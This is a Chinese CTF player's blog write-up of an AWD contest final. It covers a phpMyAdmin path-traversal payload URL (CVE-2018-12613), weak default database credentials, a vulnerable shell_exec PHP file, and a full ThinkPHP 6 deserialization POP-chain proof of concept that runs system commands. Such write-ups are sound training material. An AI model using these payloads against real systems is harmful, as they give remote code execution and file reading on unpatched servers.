2023 观安杯决赛

  1. web1
  2. web2

周三和同事组队“金盾检测”参加了 2023 观安杯管理运维赛线下总决赛。原本看了官网上对赛制的介绍,并参考了前两年的总决赛,以为决赛是应急响应的模式,赛前还猛猛看了一些资料。结果周三早上过去调试的时候,让测试的平台是 awd 的平台,感觉不对劲了。问了下工作人员,确认了下午的模式是 awd。遂赶紧掏出尘封已久的框架在那调试,给我急坏了(然而真正比赛的时候根本没用上)

最后虽然没有pwn手在(全场似乎也没有pwn手),但还是小拿一手第一,估计来参加的队伍也都以为应急响应的模式,所以没有做好相应准备。

image-20230901105340732.png

整场比赛有4台靶机,两台 web 两台 pwn,我们只做出了两个 web,甚至根本没搭理 pwn(还好全场也没有 pwn 手,不然被打了都不知道怎么修)但说实话,三个小时下来我是比较坐牢的,因为除了当交 flag 的猴子外,基本没别的事儿做。

web1

进入前台是一个很简单的 blog,但是根据源码我们可以看到,在 admin/pma 目录下是一个 phpMyAdmin 的后台管理系统。然后在web根目录下的 database.php 文件中我们可以得到一个账户和用户名密码 ctf:ctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
error_reporting(0);
define('MYSQL_SERVER', 'localhost') ;
define('MYSQL_USER', 'ctf') ;
define('MYSQL_PASSWORD', 'ctf') ;
define('MYSQL_DB', 'blog') ;

function db_connect(){
$link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link));
if(!mysqli_set_charset($link, "utf8")) {
printf("Error: ".mysqli_error($link));
}

return $link;
}

//test
if(isset($_GET['host'])){
$link = mysqli_query(mysqli_connect($_GET['host'],$_GET['username'],$_GET['password'],$_GET['database'],$_GET['port']), "set names utf8");
if ($link){
echo "<script>alert('success')</script>";
}else{
echo "<script>alert('error')</script>";
}
}
?>

那么肯定要赶紧把这个密码给改掉,当然单单在这个 php 文件中改肯定是没用的,得用 sql 语句改 UPDATE ctf SET pass='' where user_id=1; 然后再在这里改掉,不然网站可能会因为连不上数据库然后崩掉而被 check。

修完自己的当然就是去看看还有哪些手慢的队伍。我们的 “第一桶金“ 就是利用的这个弱口令,在利用弱口令登录后台后,利用 pma 后台任意文件读(CVE-2018-12613)即可获取根目录的 flag 了。

payload:http://10.103.x.1/admin/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag

由于 ctf 用户的权限很低,没办法写 shell,所以我们只能读读 flag,另外由于种种原因,没有写出自动化利用的脚本,所以当时我们就是一个个手输flag。大概打了三四轮后,被打的队伍都发现了这个点,就把这个口令改了,(某些队伍可能因为只是改了 php 文件还被check了)然后我们就没事儿做了。其他队伍发现这个点后也基本没来得及利用,这让我们狠狠捞了一笔。

正当我对 web2 如何读其他选手 encrypted_flag 文件一筹莫展之时,队友突然内网通发来消息,

image-20230901110945088.png

好家伙,还有一个弱口令。队友在看 pma 后台看账户的时候发现,除了 ctf,还有 admin 和 root 账户,root 的口令没爆破出来,倒是把 admin 的口令给爆破出来了。于是我们又利用这个口令狠狠爆其他队伍的flag。这个口令由于不能直接在源码文件中找到,因此大部分的队伍直到比赛结束也都没修。

虽然但是,到后面我们的 web1 也一直在被打,所以应该还是有别的漏洞点我们没有发现的。

web2

web2 是一个基于 thinkphp 6 框架搭建的网站,有疑点的部分是在 \public\sendtodatabase.php 文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
// require __DIR__ . '/../app/start.php';
namespace app\controller;
require_once('/var/www/app/controller/DataController.php');
use app\BaseController;

$servername = "127.0.0.1";
$username = "root";
$password = "root";
$dbname = "contact_user";
$conn = new \MySQLi($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Database connection failed: " . $conn->connect_error);
}
$serializedData = $_POST["serializedData"];
//$command = "python3 /var/www/app/encrypted.py '$serializedData'";
$command = "ip";
$encryptedData_modulus = shell_exec($command);
$encryptedData_modulus = str_replace("'","\"",$encryptedData_modulus);
$encryptedData_modulus = str_replace("\", \"","\":\"",$encryptedData_modulus);
$encryptedData_modulus = json_decode($encryptedData_modulus, true);
$index = 0;
foreach ($encryptedData_modulus as $inner_array) {
foreach ($inner_array as $encryptedData => $modulus) {
// echo "encryptedData: $encryptedData, modulus: $modulus\n";
$infotablename = "user_info" . ($index + 1);
$sql = "INSERT INTO $infotablename (cryptedData, modulus) VALUES ('$encryptedData', '$modulus')";
if ($conn->query($sql) === TRUE) {
echo "Data has been successfully inserted into the ". $infotablename . "\n";
} else {
echo "Data insertion failed: " . $conn->error;
}
$index = $index + 1;
}
}
$conn->close();
?>

可以看到这里有一行命令 $command = "python3 /var/www/app/encrypted.py '$serializedData'";

虽然这部分代码并不能运行起来(连接数据库的用户名密码是错的),但我们在 web 根目录下确实看到了 encrypted_flag 文件,查看 app/encrypted.py 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys
import libnum
import random


# if len(sys.argv) < 2:
# print("error")
# exit(1)
with open("/flag", "r") as file:
data = file.read()
# data = sys.argv[1]
EeEeEeEeEe = 23
cryptedData_modulus=[]
# modulus_list = []
# cryptedData_list = []
def ToEncrypt_Encrypting_Encrypted(e,data):
PpPpPpPp=libnum.generate_prime(1024)
QqQqQqQq=libnum.generate_prime(1024)
Dadadata=libnum.s2n(data)
modulus=PpPpPpPp * QqQqQqQq
# modulus_list.append(modulus)
cryptedData=pow(Dadadata,EeEeEeEeEe,modulus)
# cryptedData_list.append(cryptedData)
correspondingData = {str(cryptedData):str(modulus)}
cryptedData_modulus.append(correspondingData)

def main():
for i in range(6):
ToEncrypt_Encrypting_Encrypted(EeEeEeEeEe,data)
print(cryptedData_modulus)
# print(f"cryptedData_list = {cryptedData_list}")
# print(f"modulus_list = {modulus_list}")
with open("/var/www/encrypted_flag", "w") as file:
file.write(str(cryptedData_modulus))
main()

可以看到这里对服务器根目录下的 flag 文件使用 RSA 进行加密并将密文存在了 /var/www/encrypted_flag 中,这里使用的 RSA 公钥指数为 23,模数都不相同,还加密了 6 次,显然是一个低加密指数广播攻击的场景。然并卵,我一直没找到如果读取其他队伍 encrypted_flag 文件的方法。恨!

不过在/route 文件夹下找到了一个 app.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
use think\facade\Route;

Route::get('think', function () {
return 'hello,ThinkPHP6!';
});

Route::get('hello/:name', 'index/hello');

Route::get('/', 'index/index');
Route::post('/postdata', 'index/postdata');

里面给了一个 postdata 的接口,看到 /app/controller/Index.php 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
namespace app\controller;
require_once('/var/www/app/controller/DataController.php');
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return view('index');
}

public function postdata()
{
$data = request() -> post('data');

if ($data) {
$dataController = new DataController();
$unseiazlizeData = $dataController->unserializeData($data);
echo $unseiazlizeData;
return "6";
}
else {
return "post data failed";
}
}


}

反序列化的口子砸脸上了,队友说他之前国赛考的就是 thinkphp6 的反序列化,不过手里没存 poc,现挖也挖不出来啊,恨!

最后主办方可能看不下去了,在倒数三四轮的时候把 poc 发出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php

namespace think {
abstract class Model
{
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];

public function __construct($value)
{
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' =>
["n" => $value]
];
}
}

class App
{
protected $request;
}

class Request
{
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{
}
}

namespace think\route {

use think\App;

class Url
{
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;

public function __construct($route)
{
$this->route = $route;
$this->app = new App();
}
}
}

namespace think\log {
class Channel
{
protected $lazy = false;
protected $logger;
protected $log = [];

public function __construct($logger)
{
$this->logger = $logger;
}
}
}

namespace think\session {
class Store
{
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";

public function __construct($data)
{
$this->data = [$data, "param"];
}
}
}

namespace {
$request = new think\Request(); // param
$store = new think\session\Store($request); // save
$channel = new think\log\Channel($store); // __call
$url = new think\route\Url($channel); // __toString
$model = new think\model\Pivot($url); // __destruct
echo urlencode(serialize($model));
}

然后我们就立刻拿下,队友马上写出了自动化利用的脚本,狠狠爆其他队伍的 flag。不过由于时间太晚,只剩三轮了,大家也倦了,不想搞了,只想当一当猴子交一交 web1 的flag。如果手里提前存着 poc 的话,那就有时间写马,可以权限维持,可以弹shell,可以 fork 炸弹,可以 … (真正的 awd 就开始了)

阿巴阿巴,就是这么多了,除了当了一天交 flag 的猴子外啥也没干成,到最后也还是不知道怎么读 encrypted_flag,(拿到 poc 后都可以直接读 /flag 了,谁还读 encrypted_flag 啊)菜菜,全靠队友带。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:2023 观安杯决赛

文章字数:2.1k

本文作者:Van1sh

发布时间:2023-09-01, 11:59:00

最后更新:2023-10-24, 09:25:33

原始链接:http://jayxv.github.io/2023/09/01/2023 观安杯决赛/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏